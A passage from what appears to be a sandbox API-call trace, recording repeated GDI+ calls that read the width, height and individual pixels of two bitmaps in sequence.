color=0x636e0f0) returned 0x0 [0224.728] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.728] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=1, color=0x636e0f0) returned 0x0 [0224.729] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.729] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=2, color=0x636e0f0) returned 0x0 [0224.729] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.729] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=3, color=0x636e0f0) returned 0x0 [0224.729] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.729] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=4, color=0x636e0f0) returned 0x0 [0224.729] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.729] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=5, color=0x636e0f0) returned 0x0 [0224.729] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.729] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.729] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=6, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=7, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=8, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=9, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=10, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=11, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=12, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=13, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=14, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=15, color=0x636e0f0) returned 0x0 [0224.730] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.730] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.730] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=16, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=17, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=18, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=19, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=20, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=21, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=22, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=23, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=24, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=25, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=26, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=27, color=0x636e0f0) returned 0x0 [0224.731] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.731] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.731] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=28, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=29, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=30, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=31, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=32, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=33, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=34, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=35, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=36, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=37, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=38, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.732] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.732] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=39, color=0x636e0f0) returned 0x0 [0224.732] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=40, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=41, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=42, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=43, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=44, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=45, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=46, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=47, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=48, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=49, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=50, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.733] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.733] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=51, color=0x636e0f0) returned 0x0 [0224.733] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=52, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=53, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=54, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=55, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=56, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=57, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=58, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=59, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=60, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=61, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.734] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.734] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=62, color=0x636e0f0) returned 0x0 [0224.734] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=63, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=64, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=65, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=66, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=67, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=68, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=69, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=70, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=71, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=72, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.735] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=73, color=0x636e0f0) returned 0x0 [0224.735] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.735] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=74, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=75, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=76, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=77, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=78, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e104) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=0, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=1, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=2, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=3, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=4, color=0x636e0f0) returned 0x0 [0224.736] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.736] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.736] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=5, color=0x636e0f0) returned 0x0 [0224.737] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.737] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=6, color=0x636e0f0) returned 0x0 [0224.737] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.737] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=7, color=0x636e0f0) returned 0x0 [0224.737] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=8, color=0x636e0f0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=9, color=0x636e0f0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=10, color=0x636e0f0) returned 0x0 [0224.737] GdipBitmapGetPixel (bitmap=0x4da5600, x=3, y=11, color=0x636e0f0) returned 0x0 [0224.737] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.738] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.964] GdipGetImageWidth (image=0x4d97af8, width=0x636e104) returned 0x0 [0224.964] GdipGetImageHeight (image=0x4d97af8, height=0x636e104) returned 0x0 [0224.964] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.964] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=0, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=1, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=2, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=3, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=4, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=5, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=6, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=7, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.965] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=8, color=0x636e0f0) returned 0x0 [0224.965] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.965] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=9, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=10, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=11, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=12, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=13, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=14, color=0x636e0f0) returned 0x0 [0224.966] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.966] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.966] GdipBitmapGetPixel 